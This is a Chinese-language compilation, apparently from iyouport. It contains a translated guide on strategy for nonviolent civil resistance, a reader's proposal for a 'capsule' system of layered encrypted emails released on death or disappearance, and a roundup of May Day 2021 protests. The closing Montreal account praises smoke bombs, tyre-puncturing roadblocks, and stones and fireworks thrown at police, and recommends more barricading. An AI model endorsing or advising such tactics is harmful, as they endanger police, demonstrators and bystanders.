下面使用战略网来体现它们。

这里选择了9个这样的属性：联合、纪律、合理性、压力管理、多种行动、策反、动员与参与、地域范围/控制、公众语话。

每个环都标记了数字，从0到6 —— 其中0表示不存在影响或不存在给定属性，6表示普遍存在的影响或存在给定的属性。*The Strategy Web of Vulnerabilities and Resiliencies*

该战略网可用于映射反抗运动及其对手的属性。然后可以比较两者之间的漏洞和弹性的战略差距。

终结暴政的清单

👌战略战术的选择对公民抵抗运动是最具有明显影响力的因素，活动家应该从中分析出那些具有共性的能力、技巧和选项 —— 因为这些因素可以在各类抵抗运动中得到检验，是抵抗运动各种成功因素的共同点。

所有因素中有3个是最关键的，另外3个是最具影响力的。也就是说，要想获得一场成功的运动，您就应该保证在您的战略中至少这6个因素处于高值。

下面逐一分析一下。

1、联合/联盟

👉专制政府最擅长的是分化、打散，以瓦解反对派。因此，反对派就必须在联合和联盟的能力方面做得更好、更具有创造性。

想要发展并维持联合局面需要多方面的努力，其中需要优先考虑的就是：提出一个为各方所共同接受的具有包容性的抵抗运动愿景。

为此，运动领导人需要深入地了解民众的文化价值观，倾听其疾苦、人生志向等等，这样才能有效动员民众。

👌愿景的有效性在于引起人们的共鸣，并能与个人经历和普通人的感情联系起来，这样才能动员更多人一起投入公民抵抗运动。

开创联盟局面的另一关键是领导人有能力保持运动组织结构的合理性。

人们 *自愿* 参加抵抗运动，领导人不具有任何权威发布命令或实施任何形式的控制。这意味着任何抵抗运动的决策和执行必须使运动参与者感受到其合理性。

每一个成功的公民抵抗运动都有不同的方式来做到这一点—— 有些是逐级实施，有些是集中管理，有些兼而有之。不管运动的具体领导人是谁，或组织结构有何不同，领导人都要通过联合才能使之顺利运转。

☞任何一位被推举的名义领袖或自然产生的全国性领袖，都要紧紧依靠各地区性领导人来建立联盟、进行谈判、实现不同群体的利益。这要求领导人有能力联盟来自不同地区、代表不同族群、具有不同规模（本地或全国性）的组织和群体。

在80年代反对南非种族隔离运动中，致力于联盟的各方努力非常突出。当时全国各地数百个公民组织如雨后春笋，他们纷纷要求当地政府提供清洁用水和服务，同时，他们都有一个共同愿景，那就是结束种族隔离、实现民族和解。

这些公民组织后来组成了“团结民主联盟”，它分布各地的基层领导人展开了有效的本地抵抗（例如 抵制消费）战术，同时与更大规模的全国性组织行动相呼应、展开联动。

2、精心计划战略、战术

开展有效的公民抵抗运动的复杂性超出了人们的想象。

通常人们能想到公民抵抗的形式就是上街，而事实上，这只是数百个抵抗战术之一。

☞要展开最有效的抵抗运动就必须知道如何选择这些战术，在何时何地如何实施这些战术，由谁执行，目标是什么， 在和其它战术配合时如何安排先后顺序。

要对这些问题胸有成竹， 就必须认清敌我双方存在优势、劣势、机会和威胁，同时评估冲突所在的环境，哪些是中立和旁观者（包括国际社会），因为这些因素对公民抵抗运动也会产生影响。

☞掌握这些情况之后，运动组织者要提出一个有效的短期和中长期目标，以及对应的行动计划。

当然这些计划会随着运动发展而变化（就像所有计划一样）。但是，制定计划、实施计划的过程和培养运动参与者的观念比计划本身至关重要。

在极少数情况下，正是在制定计划的过程中清晰地看到抵抗运动的条件和能力交汇点。

制定行动计划的基础就是对客观条件的评估，也就是分析抵抗运动所处的环境优劣。只有这样，抵抗运动才能最大程度的利用有利条件，努力克服、转化和绕开那些不利条件，这需要有做出战略选择的能

力。

从波兰1980年代的团结工会运动中可以看到实施行动计划的战略。

波兰工人清楚自己的优势和能力，因此提出了一个响亮、而且在政治上较为实际的要求：成立独立工会（而不是结束共产制度这种在当时不可能实现的口号）。

遂即组织劳工运动，在复杂多样的工人群体中开展动员工作，以此应对当时政府面临的履步维艰的经济形势及其缺乏合法性的问题。

团结工会选择了一个有效的罢工战术就是占领他们的工厂（而不是在工厂外示威抗议，从而降低了被镇压的威胁—— 此前他们尝试过街头抗议并有失败的教训）。

工人们还用印发传单、小册子等其它手段使行动成效更加显著。其实印刷传单等手段在此前十几年里已经成为不同城市之间的工人进行沟通的有效途径。

由于选择了切合实际的战略、目标和战术（即占领工厂和使用印刷品），扬长避短，才能更有效的在复杂的斗争环境中克服不利因素，稳扎稳打，最终在1989年实现了波兰民主化的目标。

3、纪律

维持非暴力纪律—— 即使面临挑衅，领导者也要有能力保持非暴力—— 是保持公民抵抗运动持久生命力的核心所在。

只有保持非暴力，运动才能最大程度地动员广大民众参与，增加对手实施镇压的成本，使镇压带来更多反抗，才更有可能导致暴政赖以生存的重要机构内部的反叛。

很多研究表明，正是上述这些困素决定了非暴力运动成功率高于暴力运动的成功率。

保持非暴力纪律要求抵抗运动相信公民抵抗是有效指导和推进抵抗运动的途径。有关公民抵抗运动的运作机制和历史记录证明了这一点。

有效的战略可以为抵抗运动奠定胜利的基础，时间越长，效果越好，这正是公民抵抗运动的成功机制。同时需要建立一种文化和一套规范。

例如上个世纪末塞尔维亚推翻了独裁者米洛舍维奇的抵抗组织“欧特珀”对新成员开展系统性培训，帮助他们理解公民抵抗的机制以及保持非暴力的重要性。

这些工作并不要求运动就其非暴力的道德是非进行辩论，但参与者必须深入领会非暴力纪律带来的实际效果，同时要汲取一些案例带来的教训（如叙利亚发生的导致悲剧性结果的案例）—— 因为对非暴力公民抵抗缺乏耐心或信心转而付诸暴力，从而带来灾难性的结果。

4、扩大民众参与

公民抵抗运动若能极大地调动普通民众参与是一个抵抗运动取得成功的晴雨表（尽管也有人提出异议）。

因为越多普通民众拒不服从独裁政府，就越能削弱独裁政府的统治，增加暴政试图恢复其控制的代价。 有具体数据表明，民众参与程度越高，镇压造成的反叛越多，即使在暴政的支持者中也是这样。

2011年发生在埃及和突尼斯的革命赢得各界群众的极大支持，城乡各地男女老幼，教徒和世俗阶层，高收入和中低收入阶层的民众纷纷加入革命行列，再次证明了民众高度参与的重要性。

与此相反，1989年发生在中国的学生运动和2009年开始的绿色运动虽然动员了数百万民众上街，各大媒体头条竞相报道，☞但是，两者均未能取得预计的目标，其中部分原因就是这两次运动后来都没有更广泛的民众参与，只局限于最初发起的那部分人群。

具有广泛联合力量的愿景有助于形成内在合力，并能鼓舞更多民众参加运动。

☞制定运动战略有助于坚定信心。设计各种战术时要考虑到参加者各自不同的需求，包括抵御风险的能力、参与运动的时间，为运动做出牺牲的决心。

👌有效的战略可以为各个群体（无论贫富、年龄和阶层的差异）提供参与运动所需要的选择，使人们可以用不同的方式支持运动。

暴力武装抵抗只有身强力壮的人才能参与，而非暴力运动可以吸引社会各阶层的参与 —— 于是胜算更大。非暴力是一种获胜技巧，而非什么道德信仰。

5、削弱镇压的能力、增进反叛的能力

暴政最有效的工具就是镇压。要进行有效抵抗就必须学会如何削弱镇压的效果，增加当权者镇压的成本。

有一个具体方法就是精确评估风险并选择有效战术，因为各种战术带来的镇压风险不同。

比如大规模群众示威之类的集中行动招致镇压的可能性就更大，而消费抵制、居家罢工、装病罢课， 或在公共场合张贴小型匿名传单等等，政府镇压的难度就会更大 —— 是难度更大，而非不可能。

因为是否参与了这类战术比较难以判断（例如凭直观看不出某人是否抵制了某类消费），这会削弱镇压能力，甚至使镇压无能为力（例如居家罢工就需要警察到每个参与罢工的工人家里去调查）。

1983年智利独裁者皮诺切特的政治反对派就必须设法找到避免镇压的办法。经历长达10年的大规模逮捕、杀戮、酷刑和强迫失踪，人们对暴政心怀恐惧。

当年4月，铜矿工人号召在圣地亚哥郊外进行罢工，而皮诺切特则威胁要派军队在罢工开始前包围矿山。

面对这种形势，工会领袖决定停止罢工， 取而代之的是在全国举行一天的怠工、慢步和慢驶行动，继而在当晚8时全国敲响锅碗瓢勺进行抗议。

这次抗议得到了史无前例的大规模民众的参与，由此开始例行每月一次的此类抗议活动。

这是在对付皮诺切特制造恐怖、分化民众、实施独裁统治中取得的第一个突破。

参加这类行动带来的风险是可以接受的，并且不至于招来严重的镇压 —— 于是它更容易联盟更多人。

这一战术的结果是，皮诺切特的安全部队对如此大规模的分散行动感到束手无策。

其它削弱镇压效果、增加镇压成本，进而让镇压行动招致更多抵抗的方法包括：利用民众的不满情绪提出非政治性的要求。

☞建立明确的领导人继任制度（一人被捕另一人替补），加强运动参与者与国内外各团体的沟通，使暴政镇压导致更多反抗。

6、策反

随着公民抵抗运动的发展，统治集体内部积极和消极的支持者出现分化和反叛。

例如，政府内部的改革派和强硬派争夺控制权的争斗表面化，而经济利益则迫使国家政权不得不满足抵抗运动的要求，以换取经济活动的恢复。

政府公职人员，包括士兵、警察、公务员已经开始改变态度，进而支持抵抗运动，因为抵抗运动提出的要求能够说服他们，他们也讨厌独裁者，或者他们的亲朋好友都参加了公民抵抗运动。

支持政府的精英也开始怀疑政权的可持续性，他们采取中立立场，以免站错队，因为公民抵抗运动胜利在望。

2004年，乌克兰“橙色革命”期间，异见人士说服前退役军官作牵线人与安全部队沟通。

同样情景也发生在米洛舍维奇统治下的塞尔维亚。塞尔维亚的安全部队并没有公开反叛，只是不积极执行当局的命令。

在塞尔维亚抵抗运动的高潮时，军人拒绝执行向贝尔格莱德大街上的示威群众空投燃烧弹的命令，理由是天气不好，在直升机上无法辨认示威群众，其实当天万里晴空。这名军人后来回忆说，当天自己的家人可能就在示威群众中，所以他无法执行命令。

反叛者无论是被说服的还是出于一己私利，常常会受到公民抵抗运动的长期影响。

这个趋势和前两个一样，都源自抵抗运动联合、精心计划、和坚持非暴力原则。

研究数据表明，广大民众的参与程度越高，产生反叛的机会越大；同时，联合协作、精心计划和坚持非暴力更能够增加抵抗运动参与的广度和深度。

关于战略网工具

此工具的用户可以参考下面的表格，它定义了与抗议运动及其对手有关的每个属性。

下面的示例将抗议运动的对手设置为专制政权，但该工具也可以应用于其他类型的对手，例如，其他类型的政府包括民选政府、或非国家行为者（如暴力团体或寡头公司）。*Attributes Defined for a Movement and Its Opponent*

战略网工具的替代应用

除了绘制抗议运动与政权之间的冲突图之外，战略网还可以用于绘制和比较单个运动中的特定抗议活动，例如：作为更广泛的美国民权运动的一部分，开展了著名的联合抵制蒙哥马利公车运动和午餐柜台静坐运动。

☞此练习有助于对比运动并确定哪些属性比其他属性更普遍 —— 从而确定运动必须继续努力以提高其总体效力的方向。

战略网也可以用于分析相同的运动和抗议，但以不同的时间间隔进行分析，例如在初期、成熟期、或后期。

最后，战略网还可用于绘制地图并对比在特定地区或国家于不同时间发生的不同运动。

为了说明这一点，在下面的表格中使用战略网对比了两个不同的运动：1989年的波兰团结运动和1989年的中国天安门广场民主运动。*Applying the Strategy Web to Poland Solidarity Movement vs. Chinese Pro-Democracy Movement*

在比较和对比这两个不同的运动时，可以辨别出至少三个重要模式：*The Strategy Web Mapped: Polish Solidarity Movement vs. Chinese Pro-Democracy Movement*

1、那些点距离中心越远，运动的弹性就越大。相反，离中心越近，抗议运动的脆弱性就越大。

2、这个网状图面积越小、不规则形状越大，整个抗议运动的连贯性就越弱。

3、这两个抗议运动之间的差距可以展示：

- 战略性和非战略性运动之间的区别；
- 较弱的运动也许可以用作未来的学习和计划以改善其特定属性，以此来获得成功。

有效使用该战略网工具的主要挑战是如何准确评估每个已识别属性的分数。

由于在映射时缺少信息或信息有限，因此评分可能不准确或被认为是主观的。

最有效的评分方法是确保基于可识别的事实、来自多个来源的输入、与这些过程的观察者和直接参与者的访谈、以及知情专家的同行评审。

实际上，任何关于特定属性的评分和排名的冲突信息和分歧本身都可能是一个宝贵的经验教训，向运动战略家们揭示了在属性方面存在的差异和缺乏的共识，以及需要更好地理解和解决它们的需求。

最终，战略网的附加价值在于它的多功能性；它还可以产生生动的、有效的、易于理解的、可视化的运动效果，帮助您直观地看到战略性弱点在哪，以及抵抗者可以利用哪些优势来推进其运动目标。

☞再一次，我们始终认为，缺乏相关技术技巧方面的培训，是绝大多数行动失败的主要原因—— 而非政治环境社会环境问题。

如果信心不足，那不如先打稳根基；盲目行动的后果可能很惨重，会令整个社会在未来的许多年一蹶不振。在中国，30岁以上的人都知道失败后的几十年内发生了什么。

信心来自哪里？来自知识、创造力和智慧。希望本文能对您有所帮助。

- 不要错过关于行动的专题列表 – 列表5 “直接行动” ○

The list of online and print guides related to civil resistance, not inclusive by any means, includes in no particular order: *The Checklist for Ending Tyranny*; ICNC’s *The Path of Most Resistance*; *People Power Manual: Campaign Strategy Guide*; Change Agency’s *Campaigners’ Toolkit*; War Resisters International’s *Handbook for Nonviolent Campaigns*; *Beautiful Trouble*; US Institute of Peace’s *SNAP Guide*; “An Activist’s Guide to Fighting Foreign Disinformation Warfare”; The CANVAS Core Curriculum; *Conflict Analysis Field Guide*; and Conflict Analysis Tools.

Author：Dr. Maciej Bartkowski is Senior Director for Education and

Research at ICNC. He works on academic programs for students, faculty, and educators to support teaching, research and study on civil resistance. He is a series editor of the ICNC Monographs and ICNC Special Reports, and book editor of Recovering Nonviolent History.

原文

（59）“胶囊” 系统：公民积累体系 - iyouport

行动技巧、战术和原理

（ 2020年6月4日存档）“胶囊” 系统是什么？它如何能帮助公民的行动？

---

form lootermedia

编者按：IYP 在行动策略中曾经谈到过 死亡并非结束 的反抗运动原理，在这里看到。本文是一篇很出色的读者来稿，它思考了关于如何让行动者的智慧得以留存和发扬的方法。这一方法同时可具备多种效用：保留思想、抵制当权者操纵的人格暗杀、激励同道、作为公民武器对抗信息战。

如您所知，IYP 的读者来稿通道主要支持 解决方案 的思考，即 根据您和您的周边人所面临的难题、困境，寻找可能的方法和措施。它可以是技术角度的、可以是思想角度的、可以是行动经验的延展、也可以是前所未有的创造力。唯一的期待是，实用价值。

我在这里，等候您的智慧。

- 不要错过行动技巧系列，在 列表-5 “直接行动” 中

【读者来稿】西方文明建立在苏格拉底思想为核心的哲学体系之上。这套哲学体系具有可积累性、可扩展性。它涵盖了学术体系，宗教体系，开源体系，随着时间推移它们都衍生出了非常璀璨的成果。

身为个体的人和水分子的性质高度相似，自古以来就有 “水可载舟，亦可覆舟” 的说法，现代则有将拥挤的人流当作流体的相关研究。

纯水即使在零度以下也无法结冰，因为水结晶需要尘埃作为内核。人类社会也有类似性质，哲学、学术、宗教这些体系的内核也许是随机产生的，也有可能是人为构建的。

人和水分子的不同在于，人有自主意识，这使得人为构建内核成为可能。

人为地构建公民积累体系，积累知识、技术、智慧等等，用以对抗强权、不公、邪恶，完全是可能的，相关的构建要素可以到以上体系中去寻找。

公民积累体系的最大缺陷是它必定是公开的，这就意味着公民能获取到的信息，强权者也同样能获取到。

但是，另一个角度上，强权者想要隐瞒的信息，公民却很难获取到。

因为强权者内部的交流是隐秘的，而公民间部的交流却是公开的。

这使得公民处于巨大的博弈劣势下。

为了平衡这些劣势，就需要公民拥有更强的获取情报的能力，以及更强的隐藏信息的能力。

公民获取隐藏信息的能力后，面临的问题就是“哪些信息应该隐藏？哪些信息应该公开？”—— 这个问题可以发展成“哪些信息应该对谁隐藏？哪些信息应该对谁公开？”。

一个更大的问题即，当公民选择公开信息后，可能很难再控制公开对象的范围。如果一些信息被强权者所获取，公民个体将处于博弈的劣势，譬如生命威胁。

如果信息不公开，则公民团体将因断绝交流而无法联合，同样无法获取博弈优势。

（这里将博弈游戏的参与者分为强权者、公民团体、公民个体三方。更细化的划分可以是强权者团体、强权者个体、公民团体、公民个体。强权者内部的运作方式因国家和时段的不同而异，本文不做此研究）

公民人数众多且弱小，强权者是1%但非常强大。公民需要信息交流和团结才能变得强大，强权者因其数量稀少所以即使隐瞒也无所谓。

公开信息是公民团体获取优势的根本，公民个体需要隐藏信息以保证自身利益。很多信息是否需要公开的判断界限是不分明的，这是公民个体和公民团体之间存在的矛盾。

公民个体寿命不过百年，公民团体将持续千百年的存在。公民个体死后公开信息，可以即不触犯个体利益，又能造福团体利益。

另一方面，去中心化的反抗方式让很多人各自为战，有时他们无故失踪了，我们却不知道他们是谁？他们做过什么？经历过什么？如果他们的智慧和经验无法保留下来，公民的优势将始终无法积累。

就像气泡一样不断冒出，不断破裂。如果他们连名字都没有留下，那未免过于寂寥了。*from lootermedia*

胶囊和死后的反抗

「图」

以下是一套 “胶囊” 系统的阐述。

这套系统可以简单的理解为公民个体将信息留存在定时发送的邮件中，每隔一段时间便将定时邮件的发送日期延后。如果公民失踪或者死亡，邮件将自动发送给公民媒体，公民媒体收到邮件后对外发布展示。

胶囊系统应分为三部分：定时、发布、加密。

在以上例子中，定时邮件担任了定时功能，公民媒体和邮件担任了发布功能。

影视剧中经常会出现主角对朋友说：“我出去了，如果到***时间没回来你就报警”。在这里，朋友即担任了定时功能，也担任了发布功能。

上述两个例子中都没有加密功能，所以，需要基于您对定时邮件或者朋友完全的信任。

如果您的信息具有极高的风险，或者您不信任任何人，就需要将信息层层加密和分拆。

您可以将信息用密钥A加密后放到邮件A中，然后将密钥A放到邮件B中。邮件A和邮件B使用两个不同的加密邮件服务提供商，比如 protonmail 和 tutamail，两个邮件服务提供商同时被强权者收买的概率比一个更低。

以上链条可以嵌套更多层 —— 您可以将信息用密钥A加密后放到邮件

A中，然后将密钥A用密钥B加密后放到邮件B中，然后将密钥B用密钥C加密后放到邮件C中，然后将密钥C用密钥D加密后放到邮件D中……

这类似于您把东西锁在箱子A中，箱子A对应钥匙A，然后把钥匙A锁在箱子B中，把钥匙B锁在箱子C中……

依次类推十次，假设每家邮件服务提供商被收买的概率都是50%，十家邮件服务提供商被同时收买的概率就是千分之一。

或者可以更多，以上加密链条重复一亿次，那这样就没人能破解您的信息了。

当然如此多的邮件维护工作量已经不是人能承受的，这会涉及很多问题，需要专门发明的技术来解决，同时您也需要防止您自己都没法解密的状况出现。

您需要在邮件中留下统一的标识，防止和其他人邮件埋没到一起。

您需要让接收者知道钥匙的使用顺序，防止接收者用钥匙D去开箱子A这种状况。

如果您的加密链条高达十次，接收者可能需要试10!(阶乘)次才能打开您的箱子。

您需要留意选择可靠且注重隐私的邮件服务，因为有些邮件服务服务商随时都可能准备着出售您的隐私。

您需要挑选多家媒体发布您的信息，防止出现意外导致没人敢于发布它。

将来也有可能会出现自动收录系统，将您的信息自动收录到去中心化的存储之中。

如果您不幸运被剥夺自由，胶囊中的信息可能会成为您与强权者博弈的重要筹码。

以上尝试解决公民积累体系中出现的信息公开时间点的问题。可以肯定地说还会存在更多问题，比如信息留存、信息的整理和收录，信息的呈现方式。

希望它能帮助您产生更好的想法，去解决更多问题，应对更复杂多变的形势。

如果“胶囊”能够被更多人所使用，我们会知道那些失踪者因何而失踪。

不用等到我们百年之后，我们很快就能看到百岁老人留下的智慧，他们的经历，他们的反抗，以及生前不敢说的辛辣讽刺！〇

非常感谢我们亲爱的读者！希望未来能有更多的读者着眼于创造力方面的开拓，以解决我们面临的具体的实际问题。加油。

原文

“不要旧常态，不要新常态”：2021世界各地的五一节抗议活动 - iyouport

反抗者-寻求经验长读

【2021年5月5日存档】千军万马，五一节

今年，无政府主义者和反资本主义、反殖民主义的自治团体在世界各地，都举行了五一节活动、抗议行动和庆祝活动。与往年不同的是，许多团体选择用独立的联盟组织自己的活动，而不是从工会和左翼组织的大型活动中借力。

这些活动中有一些是在公共公园举行的烧烤或社交聚会 —— 公地集体自治，参考大卫·格雷伯的建议，吸引了大量的人参加。在蒙特利尔等城市，无政府主义者和世界产业工人（IWW）等团体组织了大规模游行，而在波特兰、西雅图和奥克兰等其他大城市，夜间的示威活动受到了警察的攻击。

参与者还利用五一节强调正在进行的斗争：反对ICE、反对大规模监禁、正在进行的劳工斗争、住房危机等等。在布鲁克林，革命废奴运动（RAM）的成员组织了一个汽车大篷车，支持即将到来的反监狱行动。

许多人报告说，这些行动和活动有助于创造一个友好的社会环境，使人们有机会面对面地走到一起 —— 在某些情况下，这是自冠状病毒疫情开始以来的第一次，同时人们彼此分享想法和结识新的朋友。

鉴于华人移民遍布全球，我们希望能有更多华人朋友亲自参与到这些活动和反抗行动中，这是非常好的锻炼和学习机会。

本文中嵌入了很多图片、视频、实时播报的推文、以及活动家组织发布的资料，包含战术策略和反抗智慧；您可以跟随其中的账户以了解进一步的动态。

以下是2021年全世界五一节活动和行动的简述。

美国

「图」

「图」

华盛顿州，西雅图：

「图」

为反对埃塞俄比亚提格雷地区正在进行的种族灭绝而组织的游行，受到了警察的暴力镇压；多人被捕。关于 #TigrayCantWait 运动的更多背景，请阅读土著无政府主义联合会的这份报告：

> 自去年*11*月以来，埃塞俄比亚联邦和同盟部队在提格雷地区开展了一场种族灭绝式的政治镇压运动。不分青红皂白的轰炸，大规模的处决，把强奸作为战争的工具。粮食供应遭到破坏，人们陷入饥饿。难民们被阻止逃离这些恐怖的地方。通讯和外部援助都被切断了。

俄勒冈州，波特兰：

「图」

无政府主义者和自治团体组织了一个大规模的zine节（杂志的简称；这里指小册子），许多人报告说这是一个巨大的成功，在一个低调的社会环境中把年轻人和老年人聚集在一起。

当天晚上，抗议者组织了反对ICE（美国移民和海关执法局）的街头示威活动。在星巴克的店面上也有涂鸦，声援反对埃塞俄比亚种族灭绝的运动。

俄勒冈州，尤金：

「图」

各个自治团体组织了有食物和杂志桌的五一节庆祝活动。

加利福尼亚州，奥克兰：

「图」

整个地区举行了多个五一活动、集会和行动。在奥克兰，反资本主义者和无政府主义者组织了游行，游行的对象是尼尔·沙利文（Neill Sullivan）的空置房屋，他是一家房地产开发公司的负责人，买下了奥克兰大量的住房，成为了湾区士绅化的核心。

在西奥克兰的一个空房子外面抗议者组织了一次集会，并组织了一个街区聚会，鼓励人们接管空置的房子，作为解决湾区住房危机的一项直接行动。

关于沙利文的背景资料，以及企业房地产在湾区的士绅化中的作用，请点击这里查看。

当天晚上，人们组织了一次游行，然而却遭到了警察的严厉镇压。

根据 Indybay.org 上的一个帖子，一份公报也声称加入了该项行动：

> 在5月2日凌晨，为了纪念和声援每年五一节庆祝的人民运动，一群自治主义者攻击了奥克兰的资本积累的支点。由掠夺性的企业房东和投机者尼尔·沙利文通过沙利文管理公司持有的九栋房子被抗议者攻击，被重新涂上人民的信息，被标记为他们是暴力的力量。

在此处阅读完整的公报。

加利福尼亚，长滩：

「图」

Anti-ICE 横幅标语投放。

内华达州，里诺：

「图」

“Zine Tables” 主题的五一节聚会。

亚利桑那州，弗拉格斯塔夫：

「图」

土著行动报告：

> *2021*年*5*月*1*日，在所谓的 *Flagstaff* 被占领的土地上举行了一次反权威和反殖民的集会，人们聚集、分享和建立团结。集会讨论了 *MMIWG2ST* 的危机、国家镇压和警察暴力、流浪者的相互支持和互助。以下是一个特意简短而不完整的报告。

完整的报告请见 Instagram 上的 “土著行动”。

德克萨斯州，丹顿：

「图」

反抗者组织了以食物、演讲者、互助桌和各种组织活动为特色的五一节。

明尼苏达州，**Butte**：

「图」

世界工业工人组织（IWW）和其他团体的成员在IWW组织者弗兰克·利特尔（Frank Little）的墓前举行了纪念活动，利特尔在1917年因劳工组织活动而被杀害。

密歇根州，底特律：

「图」

世界工业工人组织在当地公园举办了五一节庆祝活动。

俄亥俄州，克利夫兰：

「图」

无政府主义者和自治团体在克利夫兰组织了一次大型烧烤活动，有食物、杂志桌和演讲者。防暴警察在附近驻扎，但没有干扰活动的进行。

俄亥俄州，辛辛那提：

「图」

五一节活动，有互助和免费餐桌。

印第安纳州，罗克福德：

「图」

五一节庆祝活动和聚会，有餐桌、免费食物和演讲者。

伊利诺伊州，芝加哥：

「图」

世界工业工人组织（IWW）芝加哥分部的成员举行了各种行动和活动，包括在一家从事破坏工会的商店外举行集会。人们还在干草市场暴动的烈士纪念碑前举行了纪念活动。数百人参加了“反对警察和老板”的劳工游行。

下面是芝加哥的五一节示威游行，抗议警察杀害22岁的安东尼·阿尔瓦雷斯（Anthony Alvarez）：

明尼苏达州，明尼阿波利斯：

「图」

自治团体在群众游行和多个自治空间举行了五一行动和庆祝活动，包括一个社区花园和乔治·弗洛伊德广场。

俄克拉何马州，塔尔萨市：

「图」

五一节庆祝活动，包括互助、杂志桌和社区讨论。

肯塔基州，列克星敦市：

「图」

拉横幅反对将拖车公园的居民迁出。那场驱逐“低端人口”的运动是为政府建造带状购物中心让路。

佛罗里达州，迈阿密：

「图」

各种自治团体、无政府主义者和反资本主义团体组织的五一节庆祝活动，有免费食物和杂志桌。极右翼的巨头试图恐吓反抗团体，但活动继续进行，没有发生冲突。

北卡罗来纳州，达勒姆（Durham）：

「图」

人们组织了五一节庆祝活动，包括工作坊、野炊活动和杂志桌。

北卡罗莱纳州，阿什维尔：

「图」

人们组织了以食物、开放式麦克风和杂志餐桌为特色的五一节庆祝活动。

北卡罗来纳州，伊丽莎白市：

「图」

在警察谋杀小安德鲁·布朗后，人们继续走上街头，面对该市持续的宵禁和一项新的严厉规定，即：示威者必须申请许可才能进行抗议，这需要得到城市管理者的同意和批准。

西维吉尼亚州：

「图」

IWW在阿巴拉契亚举行了一次关于武装煤矿工人抵抗的示威活动。在此处观看视频和行动。

华盛顿特区：

「图」

举行了较大规模的五一节活动。还举行了一次抽奖活动，以支持监狱反叛者。

晚上，在当地监狱外组织了一次噪音游行。“要粮食不要炸弹” 组织进行了一次互助活动，给人们提供免费食物。

宾夕法尼亚州，匹兹堡：

「图」

人们组织了一个互助和杂志桌的五一节庆祝活动。

纽约州，罗切斯特：

「图」

“要食物不要炸弹” 组织开展了当地农民市场的 “见面欢迎” 食物活动。

纽约，布鲁克林：

「图」

在无政府主义社会中心 “The Base” 举行了给政治犯写信的活动。革命废奴运动（RAM）也组织了一个汽车大篷车，以引起人们对监狱反叛者在今年晚些时候召集的 **#ShutEmDown** 示威活动的关注。

蒙特利尔：

「图」

作为无政府主义者和反资本主义者组织的集会的一部分，数以千计的游行者走上街头。

由IWW组织的群众游行。资料来源：Facebook

在工农联盟和其他无政府主义—工会组织的游行之外，另一个大型游行是由反资本主义联盟（**CLAC**）组织的。

以下是来自反资本主义联盟（CLAC）的报告：

> 超过*750*人聚集在一起，谴责当前大流行期间社会不公正和不稳定的加剧。资本主义和新自由主义为这场灾难奠定了基础，我们肯定不会通过这种经济体系来摆脱危机。组织者要感谢今年不顾健康危机、带着口罩和执行疏导措施上街示威的参与者。

在这阅读完整报告。

墨西哥城：

「图」

各种团体参加群众游行和抗议活动。

加拿大

「图」

「图」

今年五一节，蒙特利尔由CLAC组织的年度反资本主义示威，主题是“不要旧常态，不要新常态”。那是一个阳光明媚的午后，当示威队伍开始蜿蜒穿过维勒雷的住宅街道时，在横幅和旗帜的映衬下，人们的热情高涨。

在 De Castelnau 向西走的时候，有人放起了烟火，用交通锥挡住了示威者身后的道路。警察似乎对示威者所走的路线感到困惑，这意味着附近的警察数量减少了。示威活动向南进入 Jean-Talon，继续向西穿过 St-Jérôme 通勤铁路线下的高架桥。

从 Jean-Talon 向南转入Parc大道，示威者兴奋地进入了同一条铁路线下的第二座高架桥。这一次，等待在那里的示威者人群为另一侧跟踪人群的警车和自行车警察准备了一个惊讶：在高架桥上引爆了烟雾弹，并在路上部署了路障，以刺破任何穿破烟雾跟踪示威活动的警车的车胎。这些行动有效地封锁了该地区的高架桥，这里是所有交通的咽喉要道。

由于大多数警察都被困在火车轨道的北侧，示威者在离开高架桥后立即向 Saint-Zotique 街快速地左转。垃圾和阳台上的废弃家具被拉到

街上，以进一步保护示威，人们的步伐也加快了。

示威者不必接受警察必然包围示威活动的结果，拒绝警察对示威者进行包抄、拍摄和骚扰，或者用十几辆防暴车尾随示威者，准备随时施放催泪瓦斯。有些情况可能需要直接对抗，但在这一天，示威者认为最好的选择是回避。只要有一点创造力、远见和集体智慧，就能把警察甩在后面。

最精彩的部分是抗议者拜访人工智能总部。

大约两分钟后，在 Saint-Zotique 向东走，在 Saint-Urbain 右转。各种各样的自行车警察在大约一个街区外监视着示威者，但他们的防暴警察后援还没有到，自行车警察也保持着安全的距离。

这里是 **“O Mile-Ex”** 大楼，它是蒙特利尔人工智能部门的总部，政客和学者们在过去五年里一直努力将该城市定位为全球人工智能中心。位于 Saint-Urbain 街6650号和6666号的相互连接的建筑内有MILA（隶属于蒙特利尔大学的研究机构，与谷歌和Facebook合作）、Thales（法国国防和维稳承包商）、Borealis（加拿大皇家银行的人工智能实验室）、Quantum Black（臭名昭著的全球咨询公司麦肯锡的人工智能实验室）、SCALE AI（由 Desmarais 家族控制的“供应链超级集群”）、以及其他几十个实验室和创业公司。

虽然他们大谈“道德”以分散公众的注意力，但这些公司开发的技术却加强了资本主义和统治阶级对人们生活的控制。无论是为大公司带来更有效的供应链，还是为保护政府和富人财产的自动化视频监控和面部识别，或是对工人施加非人性条件的工作场所监控算法，我们都知道谁会从这些工具中获益，肯定不是社会中被剥削、被排斥和被压迫的人。

此外，**O Mile-Ex** 设施及其成群结队的科技雅皮士是造成周边地区流离失所问题的一个巨大驱动力。与蒙特利尔大学的新Mil校区一起，它的影响蔓延到了Parc-Extension，一个工人阶级的、大部分是移民的社区，受到越来越多的士绅化的威胁。

科技公司已经利用人们在**COVID-19**禁闭措施期间的孤立来增加他们的利润率，并在几乎没有阻力的情况下扩大了他们的存在，随着大流行病的危机让位于资本主义危机的下一阶段，他们试图塑造一个巩固他们权力的“新常态”。

由于所有这些原因，看到人群中的很多示威者以这些建筑为目标，是

一道美丽的风景。

在对 O Mile-Ex 的进攻之后，一些在 Saint-Urbain 向南出现的警察收到了排山倒海的石块和烟火。示威者在 Saint-Zotique 向东走，继续躲避主要的警察部署，在 Clark 向南转，然后穿过小伊塔利公园，然后在 Saint-Laurent 向北转。许多交错的街道为疏散和撤离提供了可观的机会。

防暴警察开始在示威活动后面冲上Saint-Laurent，向人群发射催泪瓦斯，加速了驱散行动。一些警察甚至被发现在一栋居民楼的屋顶上，直接向人群投掷催泪弹：这是一个意想不到的举动。

蜂拥而至的警察在人们散去的地方拘留了多个人，逮捕了两个人，但没有提出严重指控。在这些情况下，用垃圾和其他障碍物更一致地封锁街道可能会有帮助。

